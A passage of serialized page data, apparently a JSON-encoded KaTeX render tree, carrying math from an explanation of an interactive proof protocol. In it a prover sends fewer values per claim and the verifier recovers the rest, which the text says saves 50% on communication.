ame":108628},[2424,20046],[108630,108659],{"type":20,"tag":315,"props":108631,"children":108633},{"className":108632},[2429],[108634,108654],{"type":20,"tag":315,"props":108635,"children":108637},{"className":108636,"style":91834},[2434],[108638],{"type":20,"tag":315,"props":108639,"children":108640},{"style":91838},[108641,108645],{"type":20,"tag":315,"props":108642,"children":108644},{"className":108643,"style":2444},[2443],[],{"type":20,"tag":315,"props":108646,"children":108648},{"className":108647},[2449,2450,2451,2452],[108649],{"type":20,"tag":315,"props":108650,"children":108652},{"className":108651},[2403,19992,2452],[108653],{"type":26,"value":2122},{"type":20,"tag":315,"props":108655,"children":108657},{"className":108656},[20149],[108658],{"type":26,"value":20152},{"type":20,"tag":315,"props":108660,"children":108662},{"className":108661},[2429],[108663],{"type":20,"tag":315,"props":108664,"children":108666},{"className":108665,"style":91388},[2434],[108667],{"type":20,"tag":315,"props":108668,"children":108669},{},[],{"type":20,"tag":315,"props":108671,"children":108673},{"className":108672},[20121],[108674],{"type":26,"value":1049},{"type":20,"tag":315,"props":108676,"children":108678},{"className":108677},[2403],[108679],{"type":26,"value":2406},{"type":20,"tag":315,"props":108681,"children":108683},{"className":108682},[20143],[108684],{"type":26,"value":1509},{"type":20,"tag":315,"props":108686,"children":108688},{"className":108687,"style":2581},[2483],[],{"type":20,"tag":315,"props":108690,"children":108692},{"className":108691},[2586],[108693],{"type":26,"value":337},{"type":20,"tag":315,"props":108695,"children":108697},{"className":108696,"style":2581},[2483],[],{"type":20,"tag":315,"props":108699,"children":108701},{"className":108700},[2392],[108702,108707],{"type":20,"tag":315,"props":108703,"children":108706},{"className":108704,"style":108705},[2397],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":20,"tag":315,"props":108708,"children":108710},{"className":108709},[2403],[108711,108716],{"type":20,"tag":315,"props":108712,"children":108714},{"className":108713,"style":91539},[2403,19992],[108715],{"type":26,"value":91542},{"type":20,"tag":315,"props":108717,"children":108719},{"className":108718},[2419],[108720],{"type":20,"tag":315,"props":108721,"children":108723},{"className":108722},[2424,20046],[108724,108768],{"type":20,"tag":315,"props":108725,"children":108727},{"className":108726},[2429],[108728,108763],{"type":20,"tag":315,"props":108729,"children":108731},{"className":108730,"style":91834},[2434],[108732],{"type":20,"tag":315,"props":108733,"children":108735},{"style":108734},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[108736,108740],{"type":20,"tag":315,"props":108737,"children":108739},{"className":108738,"style":2444},[2443],[],{"type":20,"tag":315,"props":108741,"children":108743},{"className":108742},[2449,2450,2451,2452],[108744],{"type":20,"tag":315,"props":108745,"children":108747},{"className":108746},[2403,2452],[108748,108753,108758],{"type":20,"tag":315,"props":108749,"children":108751},{"className":108750},[2403,19992,2452],[108752],{"type":26,"value":2122},{"type":20,"tag":315,"props":108754,"children":108756},{"className":108755},[2489,2452],[108757],{"type":26,"value":2463},{"type":20,"tag":315,"props":108759,"children":108761},{"className":108760},[2403,2452],[108762],{"type":26,"value":2406},{"type":20,"tag":315,"props":108764,"children":108766},{"className":108765},[20149],[108767],{"type":26,"value":20152},{"type":20,"tag":315,"props":108769,"children":108771},{"className":108770},[2429],[108772],{"type":20,"tag":315,"props":108773,"children":108776},{"className":108774,"style":108775},[2434],"height:0.2083em;",[108777],{"type":20,"tag":315,"props":108778,"children":108779},{},[],{"type":26,"value":108781}," (the previous claim), we have:",{"type":20,"tag":29,"props":108783,"children":108784},{},[108785],{"type":20,"tag":119,"props":108786,"children":108788},{"className":108787},[2375,2376],[108789],{"type":20,"tag":315,"props":108790,"children":108792},{"className":108791},[2381],[108793],{"type":20,"tag":315,"props":108794,"children":108796},{"className":108795,"ariaHidden":2387},[2386],[108797,108823,108854,108885,108986,109012,109104],{"type":20,"tag":315,"props":108798,"children":108800},{"className":108799},[2392],[108801,108805,108810,108814,108819],{"type":20,"tag":315,"props":108802,"children":108804},{"className":108803,"style":108460},[2397],[],{"type":20,"tag":315,"props":108806,"children":108808},{"className":108807},[2403,19992],[108809],{"type":26,"value":35},{"type":20,"tag":315,"props":108811,"children":108813},{"className":108812,"style":2484},[2483],[],{"type":20,"tag":315,"props":108815,"children":108817},{"className":108816},[2489],[108818],{"type":26,"value":817},{"type":20,"tag":315,"props":108820,"children":108822},{"className":108821,"style":2484},[2483],[],{"type":20,"tag":315,"props":108824,"children":108826},{"className":108825},[2392],[108827,108831,108836,108841,108845,108850],{"type":20,"tag":315,"props":108828,"children":108830},{"className":108829,"style":2504},[2397],[],{"type":20,"tag":315,"props":108832,"children":108834},{"className":108833},[20121],[108835],{"type":26,"value":1049},{"type":20,"tag":315,"props":108837,"children":108839},{"className":108838},[2403,19992],[108840],{"type":26,"value":35},{"type":20,"tag":315,"props":108842,"children":108844},{"className":108843,"style":2484},[2483],[],{"type":20,"tag":315,"props":108846,"children":108848},{"className":108847},[2489],[108849],{"type":26,"value":817},{"type":20,"tag":315,"props":108851,"children":108853},{"className":108852,"style":2484},[2483],[],{"type":20,"tag":315,"props":108855,"children":108857},{"className":108856},[2392],[108858,108862,108867,108872,108876,108881],{"type":20,"tag":315,"props":108859,"children":108861},{"className":108860,"style":2504},[2397],[],{"type":20,"tag":315,"props":108863,"children":108865},{"className":108864},[2403,19992],[108866],{"type":26,"value":1604},{"type":20,"tag":315,"props":108868,"children":108870},{"className":108869},[20143],[108871],{"type":26,"value":1509},{"type":20,"tag":315,"props":108873,"children":108875},{"className":108874,"style":2581},[2483],[],{"type":20,"tag":315,"props":108877,"children":108879},{"className":108878},[2586],[108880],{"type":26,"value":337},{"type":20,"tag":315,"props":108882,"children":108884},{"className":108883,"style":2581},[2483],[],{"type":20,"tag":315,"props":108886,"children":108888},{"className":108887},[2392],[108889,108893,108964,108968,108972,108978,108982],{"type":20,"tag":315,"props":108890,"children":108892},{"className":108891,"style":108705},[2397],[],{"type":20,"tag":315,"props":108894,"children":108896},{"className":108895},[2403],[108897,108902],{"type":20,"tag":315,"props":108898,"children":108900},{"className":108899,"style":91539},[2403,19992],[108901],{"type":26,"value":91542},{"type":20,"tag":315,"props":108903,"children":108905},{"className":108904},[2419],[108906],{"type":20,"tag":315,"props":108907,"children":108909},{"className":108908},[2424,20046],[108910,108953],{"type":20,"tag":315,"props":108911,"children":108913},{"className":108912},[2429],[108914,108948],{"type":20,"tag":315,"props":108915,"children":108917},{"className":108916,"style":91834},[2434],[108918],{"type":20,"tag":315,"props":108919,"children":108920},{"style":108734},[108921,108925],{"type":20,"tag":315,"props":108922,"children":108924},{"className":108923,"style":2444},[2443],[],{"type":20,"tag":315,"props":108926,"children":108928},{"className":108927},[2449,2450,2451,2452],[108929],{"type":20,"tag":315,"props":108930,"children":108932},{"className":108931},[2403,2452],[108933,108938,108943],{"type":20,"tag":315,"props":108934,"children":108936},{"className":108935},[2403,19992,2452],[108937],{"type":26,"value":2122},{"type":20,"tag":315,"props":108939,"children":108941},{"className":108940},[2489,2452],[108942],{"type":26,"value":2463},{"type":20,"tag":315,"props":108944,"children":108946},{"className":108945},[2403,2452],[108947],{"type":26,"value":2406},{"type":20,"tag":315,"props":108949,"children":108951},{"className":108950},[20149],[108952],{"type":26,"value":20152},{"type":20,"tag":315,"props":108954,"children":108956},{"className":108955},[2429],[108957],{"type":20,"tag":315,"props":108958,"children":108960},{"className":108959,"style":108775},[2434],[108961],{"type":20,"tag":315,"props":108962,"children":108963},{},[],{"type":20,"tag":315,"props":108965,"children":108967},{"className":108966,"style":2581},[2483],[],{"type":20,"tag":315,"props":108969,"children":108971},{"className":108970,"style":2581},[2483],[],{"type":20,"tag":315,"props":108973,"children":108975},{"className":108974},[2586],[108976],{"type":26,"value":108977},"⟹",{"type":20,"tag":315,"props":108979,"children":108981},{"className":108980,"style":2581},[2483],[],{"type":20,"tag":315,"props":108983,"children":108985},{"className":108984,"style":2581},[2483],[],{"type":20,"tag":315,"props":108987,"children":108989},{"className":108988},[2392],[108990,108994,108999,109003,109008],{"type":20,"tag":315,"props":108991,"children":108993},{"className":108992,"style":91220},[2397],[],{"type":20,"tag":315,"props":108995,"children":108997},{"className":108996},[2403,19992],[108998],{"type":26,"value":1604},{"type":20,"tag":315,"props":109000,"children":109002},{"className":109001,"style":2581},[2483],[],{"type":20,"tag":315,"props":109004,"children":109006},{"className":109005},[2586],[109007],{"type":26,"value":337},{"type":20,"tag":315,"props":109009,"children":109011},{"className":109010,"style":2581},[2483],[],{"type":20,"tag":315,"props":109013,"children":109015},{"className":109014},[2392],[109016,109020,109091,109095,109100],{"type":20,"tag":315,"props":109017,"children":109019},{"className":109018,"style":108705},[2397],[],{"type":20,"tag":315,"props":109021,"children":109023},{"className":109022},[2403],[109024,109029],{"type":20,"tag":315,"props":109025,"children":109027},{"className":109026,"style":91539},[2403,19992],[109028],{"type":26,"value":91542},{"type":20,"tag":315,"props":109030,"children":109032},{"className":109031},[2419],[109033],{"type":20,"tag":315,"props":109034,"children":109036},{"className":109035},[2424,20046],[109037,109080],{"type":20,"tag":315,"props":109038,"children":109040},{"className":109039},[2429],[109041,109075],{"type":20,"tag":315,"props":109042,"children":109044},{"className":109043,"style":91834},[2434],[109045],{"type":20,"tag":315,"props":109046,"children":109047},{"style":108734},[109048,109052],{"type":20,"tag":315,"props":109049,"children":109051},{"className":109050,"style":2444},[2443],[],{"type":20,"tag":315,"props":109053,"children":109055},{"className":109054},[2449,2450,2451,2452],[109056],{"type":20,"tag":315,"props":109057,"children":109059},{"className":109058},[2403,2452],[109060,109065,109070],{"type":20,"tag":315,"props":109061,"children":109063},{"className":109062},[2403,19992,2452],[109064],{"type":26,"value":2122},{"type":20,"tag":315,"props":109066,"children":109068},{"className":109067},[2489,2452],[109069],{"type":26,"value":2463},{"type":20,"tag":315,"props":109071,"children":109073},{"className":109072},[2403,2452],[109074],{"type":26,"value":2406},{"type":20,"tag":315,"props":109076,"children":109078},{"className":109077},[20149],[109079],{"type":26,"value":20152},{"type":20,"tag":315,"props":109081,"children":109083},{"className":109082},[2429],[109084],{"type":20,"tag":315,"props":109085,"children":109087},{"className":109086,"style":108775},[2434],[109088],{"type":20,"tag":315,"props":109089,"children":109090},{},[],{"type":20,"tag":315,"props":109092,"children":109094},{"className":109093,"style":2484},[2483],[],{"type":20,"tag":315,"props":109096,"children":109098},{"className":109097},[2489],[109099],{"type":26,"value":2463},{"type":20,"tag":315,"props":109101,"children":109103},{"className":109102,"style":2484},[2483],[],{"type":20,"tag":315,"props":109105,"children":109107},{"className":109106},[2392],[109108,109112,109117],{"type":20,"tag":315,"props":109109,"children":109111},{"className":109110,"style":92336},[2397],[],{"type":20,"tag":315,"props":109113,"children":109115},{"className":109114},[2403],[109116],{"type":26,"value":1504},{"type":20,"tag":315,"props":109118,"children":109120},{"className":109119},[2403,19992],[109121],{"type":26,"value":35},{"type":20,"tag":29,"props":109123,"children":109124},{},[109125,109127,109246,109248,109273],{"type":26,"value":109126},"So the prover only sends ",{"type":20,"tag":119,"props":109128,"children":109130},{"className":109129},[2375,2376],[109131],{"type":20,"tag":315,"props":109132,"children":109134},{"className":109133},[2381],[109135],{"type":20,"tag":315,"props":109136,"children":109138},{"className":109137,"ariaHidden":2387},[2386],[109139,109166],{"type":20,"tag":315,"props":109140,"children":109142},{"className":109141},[2392],[109143,109148,109153,109157,109162],{"type":20,"tag":315,"props":109144,"children":109147},{"className":109145,"style":109146},[2397],"height:0.4306em;",[],{"type":20,"tag":315,"props":109149,"children":109151},{"className":109150},[2403,19992],[109152],{"type":26,"value":35},{"type":20,"tag":315,"props":109154,"children":109156},{"className":109155,"style":2581},[2483],[],{"type":20,"tag":315,"props":109158,"children":109160},{"className":109159},[2586],[109161],{"type":26,"value":337},{"type":20,"tag":315,"props":109163,"children":109165},{"className":109164,"style":2581},[2483],[],{"type":20,"tag":315,"props":109167,"children":109169},{"className":109168},[2392],[109170,109174,109231,109236,109241],{"type":20,"tag":315,"props":109171,"children":109173},{"className":109172,"style":2504},[2397],[],{"type":20,"tag":315,"props":109175,"children":109177},{"className":109176},[2403],[109178,109183],{"type":20,"tag":315,"props":109179,"children":109181},{"className":109180,"style":91791},[2403,19992],[109182],{"type":26,"value":107556},{"type":20,"tag":315,"props":109184,"children":109186},{"className":109185},[2419],[109187],{"type":20,"tag":315,"props":109188,"children":109190},{"className":109189},[2424,20046],[109191,109220],{"type":20,"tag":315,"props":109192,"children":109194},{"className":109193},[2429],[109195,109215],{"type":20,"tag":315,"props":109196,"children":109198},{"className":109197,"style":91834},[2434],[109199],{"type":20,"tag":315,"props":109200,"children":109201},{"style":91838},[109202,109206],{"type":20,"tag":315,"props":109203,"children":109205},{"className":109204,"style":2444},[2443],[],{"type":20,"tag":315,"props":109207,"children":109209},{"className":109208},[2449,2450,2451,2452],[109210],{"type":20,"tag":315,"props":109211,"children":109213},{"className":109212},[2403,19992,2452],[109214],{"type":26,"value":2122},{"type":20,"tag":315,"props":109216,"children":109218},{"className":109217},[20149],[109219],{"type":26,"value":20152},{"type":20,"tag":315,"props":109221,"children":109223},{"className":109222},[2429],[109224],{"type":20,"tag":315,"props":109225,"children":109227},{"className":109226,"style":91388},[2434],[109228],{"type":20,"tag":315,"props":109229,"children":109230},{},[],{"type":20,"tag":315,"props":109232,"children":109234},{"className":109233},[20121],[109235],{"type":26,"value":1049},{"type":20,"tag":315,"props":109237,"children":109239},{"className":109238},[2403],[109240],{"type":26,"value":1063},{"type":20,"tag":315,"props":109242,"children":109244},{"className":109243},[20143],[109245],{"type":26,"value":1509},{"type":26,"value":109247},", and the verifier recovers ",{"type":20,"tag":119,"props":109249,"children":109251},{"className":109250},[2375,2376],[109252],{"type":20,"tag":315,"props":109253,"children":109255},{"className":109254},[2381],[109256],{"type":20,"tag":315,"props":109257,"children":109259},{"className":109258,"ariaHidden":2387},[2386],[109260],{"type":20,"tag":315,"props":109261,"children":109263},{"className":109262},[2392],[109264,109268],{"type":20,"tag":315,"props":109265,"children":109267},{"className":109266,"style":91220},[2397],[],{"type":20,"tag":315,"props":109269,"children":109271},{"className":109270},[2403,19992],[109272],{"type":26,"value":1604},{"type":26,"value":109274},". This saves 50% on communication costs.",{"type":20,"tag":29,"props":109276,"children":109277},{},[109278],{"type":26,"value":109279},"The next claim in the chain is",{"type":20,"tag":29,"props":109281,"children":109282},{},[109283],{"type":20,"tag":119,"props":109284,"children":109286},{"className":109285},[2375,2376],[109287],{"type":20,"tag":315,"props":109288,"children":109290},{"className":109289},[2381],[109291],{"type":20,"tag":315,"props":109292,"children":109294},{"className":109293,"ariaHidden":2387},[2386],[109295,109374,109519,109545,109572,109650,109676,109773,109809,109887,109923,110011,110103],{"type":20,"tag":315,"props":109296,"children":109298},{"className":109297},[2392],[109299,109304,109361,109365,109370],{"type":20,"tag":315,"props":109300,"children":109303},{"className":109301,"style":109302},[2397],"height:0.8333em;vertical-align:-0.15em;",[],{"type":20,"tag":315,"props":109305,"children":109307},{"className":109306},[2403],[109308,109313],{"type":20,"tag":315,"props":109309,"children":109311},{"className":109310,"style":91539},[2403,19992],[109312],{"type":26,"value":91542},{"type":20,"tag":315,"props":109314,"children":109316},{"className":109315},[2419],[109317],{"type":20,"tag":315,"props":109318,"children":109320},{"className":109319},[2424,20046],[109321,109350],{"type":20,"tag":315,"props":109322,"children":109324},{"className":109323},[2429],[109325,109345],{"type":20,"tag":315,"props":109326,"children":109328},{"className":109327,"style":91834},[2434],[109329],{"type":20,"tag":315,"props":109330,"children":109331},{"style":108734},[109332,109336],{"type":20,"tag":315,"props":109333,"children":109335},{"className":109334,"style":2444},[2443],[],{"type":20,"tag":315,"props":109337,"children":109339},{"className":109338},[2449,2450,2451,2452],[109340],{"type":20,"tag":315,"props":109341,"children":109343},{"className":109342},[2403,19992,2452],[109344],{"type":26,"value":2122},{"type":20,"tag":315,"props":109346,"children":109348},{"className":109347},[20149],[109349],{"type":26,"value":20152},{"type":20,"tag":315,"props":109351,"children":109353},{"className":109352},[2429],[109354],{"type":20,"tag":315,"props":109355,"children":109357},{"className":109356,"style":91388},[2434],[109358],{"type":20,"tag":315,"props":109359,"children":109360},{},[],{"type":20,"tag":315,"props":109362,"children":109364},{"className":109363,"style":2581},[2483],[],{"type":20,"tag":315,"props":109366,"children":109368},{"className":109367},[2586],[109369],{"type":26,"value":337},{"type":20,"tag":315,"props":109371,"children":109373},{"className":109372,"style":2581},[2483],[],{"type":20,"tag":315,"props":109375,"children":109377},{"className":109376},[2392],[109378,109382,109439,109444,109501,109506,109510,109515],{"type":20,"tag":315,"props":109379,"children":109381},{"className":109380,"style":2504},[2397],[],{"type":20,"tag":315,"props":109383,"children":109385},{"className":109384},[2403],[109386,109391],{"type":20,"tag":315,"props":109387,"children":109389},{"className":109388,"style":91791},[2403,19992],[109390],{"type":26,"value":107556},{"type":20,"tag":315,"props":109392,"children":109394},{"className":109393},[2419],[109395],{"type":20,"tag":315,"props":109396,"children":109398},{"className":109397},[2424,20046],[109399,109428],{"type":20,"tag":315,"props":109400,"children":109402},{"className":109401},[2429],[109403,109423],{"type":20,"tag":315,"props":109404,"children":109406},{"className":109405,"style":91834},[2434],[109407],{"type":20,"tag":315,"props":109408,"children":109409},{"style":91838},[109410,109414],{"type":20,"tag":315,"props":109411,"children":109413},{"className":109412,"style":2444},[2443],[],{"type":20,"tag":315,"props":109415,"children":109417},{"className":109416},[2449,2450,2451,2452],[109418],{"type":20,"tag":315,"props":109419,"children":109421},{"className":109420},[2403,19992,2452],[109422],{"type":26,"value":2122},{"type":20,"tag":315,"props":109424,"children":109426},{"className":109425},[20149],[109427],{"type":26,"value":20152},{"type":20,"tag":315,"props":109429,"children":109431},{"className":109430},[2429],[109432],{"type":20,"tag":315,"props":109433,"children":109435},{"className":109434,"style":91388},[2434],[109436],{"type":20,"tag":315,"props":109437,"children":109438},{},[],{"type":20,"tag":315,"props":109440,"children":109442},{"className":109441},[20121],[109443],{"type":26,"value":1049},{"type":20,"tag":315,"props":109445,"children":109447},{"className":109446},[2403],[109448,109453],{"type":20,"tag":315,"props":109449,"children":109451},{"className":109450,"style":91305},[2403,19992],[109452],{"type":26,"value":92124},{"type":20,"tag":315,"props":109454,"children":109456},{"className":109455},[2419],[109457],{"type":20,"tag":315,"props":109458,"children":109460},{"className":109459},[2424,20046],[109461,109490],{"type":20,"tag":315,"props":109462,"children":109464},{"className":109463},[2429],[109465,109485],{"type":20,"tag":315,"props":109466,"children":109468},{"className":109467,"style":91834},[2434],[109469],{"type":20,"tag":315,"props":109470,"children":109471},{"style":108304},[109472,109476],{"type":20,"tag":315,"props":109473,"children":109475},{"className":109474,"style":2444},[2443],[],{"type":20,"tag":315,"props":109477,"children":109479},{"className":109478},[2449,2450,2451,2452],[109480],{"type":20,"tag":315,"props":109481,"children":109483},{"className":109482},[2403,19992,2452],[109484],{"type":26,"value":2122},{"type":20,"tag":315,"props":109486,"children":109488},{"className":109487},[20149],[109489],{"type":26,"value":20152},{"type":20,"tag":315,"props":109491,"children":109493},{"className":109492},[2429],[109494],{"type":20,"tag":315,"props":109495,"children":109497},{"className":109496,"style":91388},[2434],[109498],{"type":20,"tag":315,"props":109499,"children":109500},{},[],{"type":20,"tag":315,"props":109502,"children":109504},{"className":109503},[20143],[109505],{"type":26,"value":1509},{"type":20,"tag":315,"props":109507,"children":109509},{"className":109508,"style":2581},[2483],[],{"type":20,"tag":315,"props":109511,"children":109513},{"className":109512},[2586],[109514],{"type":26,"value":337},{"type":20,"tag":315,"props":109516,"children":109518},{"className":109517,"style":2581},[2483],[],{"type":20,"tag":315,"props":109520,"children":109522},{"className":109521},[2392],[109523,109527,109532,109536,109541],{"type":20,"tag":315,"props":109524,"children":109526},{"className":109525,"style":108460},[2397],[],{"type":20,"tag":315,"props":109528,"children":109530},{"className":109529},[2403,19992],[109531],{"type":26,"value":35},{"type":20,"tag":315,"props":109533,"children":109535},{"className":109534,"style":2484},[2483],[],{"type":20,"tag":315,"props":109537,"children":109539},{"className":109538},[2489],[109540],{"type":26,"value":817},{"type":20,"tag":315,"props":109542,"children":109544},{"className":109543,"style":2484},[2483],[],{"type":20,"tag":315,"props":109546,"children":109548},{"className":109547},[2392],[109549,109553,109558,109562,109568],{"type":20,"tag":315,"props":109550,"children":109552},{"className":109551,"style":91220},[2397],[],{"type":20,"tag":315,"props":109554,"children":109556},{"className":109555},[2403,19992],[109557],{"type":26,"value":1604},{"type":20,"tag":315,"props":109559,"children":109561},{"className":109560,"style":2484},[2483],[],{"type":20,"tag":315,"props":109563,"children":109565},{"className":109564},[2489],[109566],{"type":26,"value":109567},"⋅",{"type":20,"tag":315,"props":109569,"children":109571},{"className":109570,"style":2484},[2483],[],{"type":20,"tag":315,"props":109573,"children":109575},{"className":109574},[2392],[109576,109580,109637,109641,109646],{"type":20,"tag":315,"props":109577,"children":109579},{"className":109578,"style":108275},[2397],[],{"type":20,"tag":315,"props":109581,"children":109583},{"className":109582},[2403],[109584,109589],{"type":20,"tag":315,"props":109585,"children":109587},{"className":109586,"style":91305},[2403,19992],[109588],{"type":26,"value":92124},{"type":20,"tag":315,"props":109590,"children":109592},{"className":109591},[2419],[109593],{"type":20,"tag":315,"props":109594,"children":109596},{"className":109595},[2424,20046],[109597,109626],{"type":20,"tag":315,"props":109598,"children":109600},{"className":109599},[2429],[109601,109621],{"type":20,"tag":315,"props":109602,"children":109604},{"className":109603,"style":91834},[2434],[109605],{"type":20,"tag":315,"props":109606,"children":109607},{"style":108304},[109608,109612],{"type":20,"tag":315,"props":109609,"children":109611},{"className":109610,"style":2444},[2443],[],{"type":20,"tag":315,"props":109613,"children":109615},{"className":109614},[2449,2450,2451,2452],[109616],{"type":20,"tag":315,"props":109617,"children":109619},{"className":109618},[2403,19992,2452],[109620],{"type":26,"value":2122},{"type":20,"tag":315,"props":109622,"children":109624},{"className":109623},[20149],[109625],{"type":26,"value":20152},{"type":20,"tag":315,"props":109627,"children":109629},{"className":109628},[2429],[109630],{"type":20,"tag":315,"props":109631,"children":109633},{"className":109632,"style":91388},[2434],[109634],{"type":20,"tag":315,"props":109635,"children":109636},{},[],{"type":20,"tag":315,"props":109638,"children":109640},{"className":109639,"style":2581},[2483],[],{"type":20,"tag":315,"props":109642,"children":109644},{"className":109643},[2586],[109645],{"type":26,"value":337},{"type":20,"tag":315,"props":109647,"children":109649},{"className":109648,"style":2581},[2483],[],{"type":20,"tag":315,"props":109651,"children":109653},{"className":109652},[2392],[109654,109658,109663,109667,109672],{"type":20,"tag":315,"props":109655,"children":109657},{"className":109656,"style":108460},[2397],[],{"type":20,"tag":315,"props":109659,"children":109661},{"className":109660},[2403,19992],[109662],{"type":26,"value":35},{"type":20,"tag":315,"props":109664,"children":109666},{"className":109665,"style":2484},[2483],[],{"type":20,"tag":315,"props":109668,"children":109670},{"className":109669},[2489],[109671],{"type":26,"value":817},{"type":20,"tag":315,"props":109673,"children":109675},{"className":109674,"style":2484},[2483],[],{"type":20,"tag":315,"props":109677,"children":109679},{"className":109678},[2392],[109680,109684,109689,109760,109764,109769],{"type":20,"tag":315,"props":109681,"children":109683},{"className":109682,"style":2504},[2397],[],{"type":20,"tag":315,"props":109685,"children":109687},{"className":109686},[20121],[109688],{"type":26,"value":1049},{"type":20,"tag":315,"props":109690,"children":109692},{"className":109691},[2403],[109693,109698],{"type":20,"tag":315,"props":109694,"children":109696},{"className":109695,"style":91539},[2403,19992],[109697],{"type":26,"value":91542},{"type":20,"tag":315,"props":109699,"children":109701},{"className":109700},[2419],[109702],{"type":20,"tag":315,"props":109703,"children":109705},{"className":109704},[2424,20046],[109706,109749],{"type":20,"tag":315,"props":109707,"children":109709},{"className":109708},[2429],[109710,109744],{"type":20,"tag":315,"props":109711,"children":109713},{"className":109712,"style":91834},[2434],[109714],{"type":20,"tag":315,"props":109715,"children":109716},{"style":108734},[109717,109721],{"type":20,"tag":315,"props":109718,"children":109720},{"className":109719,"style":2444},[2443],[],{"type":20,"tag":315,"props":109722,"children":109724},{"className":109723},[2449,2450,2451,2452],[109725],{"type":20,"tag":315,"props":109726,"children":109728},{"className":109727},[2403,2452],[109729,109734,109739],{"type":20,"tag":315,"props":109730,"children":109732},{"className":109731},[2403,19992,2452],[109733],{"type":26,"value":2122},{"type":20,"tag":315,"props":109735,"children":109737},{"className":109736},[2489,2452],[109738],{"type":26,"value":2463},{"type":20,"tag":315,"props":109740,"children":109742},{"className":109741},[2403,2452],[109743],{"type":26,"value":2406},{"type":20,"tag":315,"props":109745,"children":109747},{"className":109746},[20149],[109748],{"type":26,"value":20152},{"type":20,"tag":315,"props":109750,"children":109752},{"className":109751},[2429],[109753],{"type":20,"tag":315,"props":109754,"children":109756},{"className":109755,"style":108775},[2434],[109757],{"type":20,"tag":315,"props":109758,"children":109759},{},[],{"type":20,"tag":315,"props":109761,"children":109763},{"className":109762,"style":2484},[2483],[],{"type":20,"tag":315,"props":109765,"children":109767},{"className":109766},[2489],[109768],{"type":26,"value":2463},{"type":20,"tag":315,"props":109770,"children":109772},{"className":109771,"style":2484},[2483],[],{"type":20,"tag":315,"props":109774,"children":109776},{"className":109775},[2392],[109777,109781,109786,109791,109796,109800,109805],{"type":20,"tag":315,"props":109778,"children":109780},{"className":109779,"style":2504},[2397],[],{"type":20,"tag":315,"props":109782,"children":109784},{"className":109783},[2403],[109785],{"type":26,"value":1504},{"type":20,"tag":315,"props":109787,"children":109789},{"className":109788},[2403,19992],[109790],{"type":26,"value":35},{"type":20,"tag":315,"props":109792,"children":109794},{"className":109793},[20143],[109795],{"type":26,"value":1509},{"type":20,"tag":315,"props":109797,"children":109799},{"className":109798,"style":2484},[2483],[],{"type":20,"tag":315,"props":109801,"children":109803},{"className":109802},[2489],[109804],{"type":26,"value":109567},{"type":20,"tag":315,"props":109806,"children":109808},{"className":109807,"style":2484},[2483],[],{"type":20,"tag":315,"props":109810,"children":109812},{"className":109811},[2392],[109813,109817,109874,109878,109883],{"type":20,"tag":315,"props":109814,"children":109816},{"className":109815,"style":108275},[2397],[],{"type":20,"tag":315,"props":109818,"children":109820},{"className":109819},[2403],[109821,109826],{"type":20,"tag":315,"props":109822,"children":109824},{"className":109823,"style":91305},[2403,19992],[109825],{"type":26,"value":92124},{"type":20,"tag":315,"props":109827,"children":109829},{"className":109828},[2419],[109830],{"type":20,"tag":315,"props":109831,"children":109833},{"className":109832},[2424,20046],[109834,109863],{"type":20,"tag":315,"props":109835,"children":109837},{"className":109836},[2429],[109838,109858],{"type":20,"tag":315,"props":109839,"children":109841},{"className":109840,"style":91834},[2434],[109842],{"type":20,"tag":315,"props":109843,"children":109844},{"style":108304},[109845,109849],{"type":20,"tag":315,"props":109846,"children":109848},{"className":109847,"style":2444},[2443],[],{"type":20,"tag":315,"props":109850,"children":109852},{"className":109851},[2449,2450,2451,2452],[109853],{"type":20,"tag":315,"props":109854,"children":109856},{"className":109855},[2403,19992,2452],[109857],{"type":26,"value":2122},{"type":20,"tag":315,"props":109859,"children":109861},{"className":109860},[20149],[109862],{"type":26,"value":20152},{"type":20,"tag":315,"props":109864,"children":109866},{"className":109865},[2429],[109867],{"type":20,"tag":315,"props":109868,"children":109870},{"className":109869,"style":91388},[2434],[109871],{"type":20,"tag":315,"props":109872,"children":109873},{},[],{"type":20,"tag":315,"props":109875,"children":109877},{"className":109876,"style":2581},[2483],[],{"type":20,"tag":315,"props":109879,"children":109881},{"className":109880},[2586],[109882],{"type":26,"value":337},{"type":20,"tag":315,"props":109884,"children":109886},{"className":109885,"style":2581},[2483],[],{"type":20,"tag":315,"props":109888,"children":109890},{"className":109889},[2392],[109891,109895,109900,109905,109910,109914,109919],{"type":20,"tag":315,"props":109892,"children":109894},{"className":109893,"style":2504},[2397],[],{"type":20,"tag":315,"props":109896,"children":109898},{"className":109897},[2403,19992],[109899],{"type":26,"value":35},{"type":20,"tag":315,"props":109901,"children":109903},{"className":109902},[20121],[109904],{"type":26,"value":1049},{"type":20,"tag":315,"props":109906,"children":109908},{"className":109907},[2403],[109909],{"type":26,"value":2406},{"type":20,"tag":315,"props":109911,"children":109913},{"className":109912,"style":2484},[2483],[],{"type":20,"tag":315,"props":109915,"children":109917},{"className":109916},[2489],[109918],{"type":26,"value":2463},{"type":20,"tag":315,"props":109920,"children":109922},{"className":109921,"style":2484},[2483],[],{"type":20,"tag":315,"props":109924,"children":109926},{"className":109925},[2392],[109927,109931,109936,109993,109998,110002,110007],{"type":20,"tag":315,"props":109928,"children":109930},{"className":109929,"style":2504},[2397],[],{"type":20,"tag":315,"props":109932,"children":109934},{"className":109933},[2403],[109935],{"type":26,"value":1504},{"type":20,"tag":315,"props":109937,"children":109939},{"className":109938},[2403],[109940,109945],{"type":20,"tag":315,"props":109941,"children":109943},{"className":109942,"style":91305},[2403,19992],[109944],{"type":26,"value":92124},{"type":20,"tag":315,"props":109946,"children":109948},{"className":109947},[2419],[109949],{"type":20,"tag":315,"props":109950,"children":109952},{"className":109951},[2424,20046],[109953,109982],{"type":20,"tag":315,"props":109954,"children":109956},{"className":109955},[2429],[109957,109977],{"type":20,"tag":315,"props":109958,"children":109960},{"className":109959,"style":91834},[2434],[109961],{"type":20,"tag":315,"props":109962,"children":109963},{"style":108304},[109964,109968],{"type":20,"tag":315,"props":109965,"children":109967},{"className":109966,"style":2444},[2443],[],{"type":20,"tag":315,"props":109969,"children":109971},{"className":109970},[2449,2450,2451,2452],[109972],{"type":20,"tag":315,"props":109973,"children":109975},{"className":109974},[2403,19992,2452],[109976],{"type":26,"value":2122},{"type":20,"tag":315,"props":109978,"children":109980},{"className":109979},[20149],[109981],{"type":26,"value":20152},{"type":20,"tag":315,"props":109983,"children":109985},{"className":109984},[2429],[109986],{"type":20,"tag":315,"props":109987,"children":109989},{"className":109988,"style":91388},[2434],[109990],{"type":20,"tag":315,"props":109991,"children":109992},{},[],{"type":20,"